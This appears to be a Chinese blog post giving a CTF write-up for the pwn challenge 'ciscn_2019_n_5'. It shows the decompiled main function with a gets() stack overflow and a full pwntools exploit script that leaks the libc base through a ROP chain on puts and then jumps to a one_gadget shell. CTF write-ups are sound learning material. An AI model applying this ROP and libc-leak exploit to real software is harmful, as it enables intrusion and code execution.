ciscn_2019_n_5

题目链接:ciscn_2019_n_5

下载附件后,使用 IDA 反编译,定位到主要函数,如下。

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char text[30]; // [rsp+0h] [rbp-20h] BYREF

  setvbuf(stdout, 0LL, 2, 0LL);
  puts("tell me your name");
  read(0, name, 0x64uLL);
  puts("wow~ nice name!");
  puts("What do you want to say to me?");
  gets(text);
  return 0;
}

可以看到,存在 gets 函数,无限长度的栈溢出。

解题思路:

  1. 通过栈溢出,泄露出 LIBC 基址。
  2. 调用 One_GadGet。

解题脚本:

from pwn import *
from pwn import p32, p64, u32, u64
from settings import *
from modules import *

def pwn():
    # 0x0000000000400713 : pop rdi ; ret
    # .text:0000000000400540 ; void __fastcall __noreturn start(__int64, __int64, void (*)(void))

    sa("tell me your name\n", b"123")
    sla("What do you want to say to me?\n" , b"a" * 40 + \
        p64(0x0000000000400713) + p64(ELF_FILE.got['setvbuf']) + p64(ELF_FILE.plt['puts']) + p64(0x0000000000400540))
    LIBC_ADDR = uu64(ru("\x7F")[-6:]) - LIBC_FILE.symbols['setvbuf']
    leak("LIBC_ADDR", LIBC_ADDR)

    one = one_gadget(LIBC_ADDR)
    sa("tell me your name\n", b"123")
    sla("What do you want to say to me?\n" , b"a" * 40 + \
        p64(one[1]))
    
    irt()

pwn()
posted @ 2025-09-06 13:08  imtaieee  阅读(33)  评论(0)    收藏  举报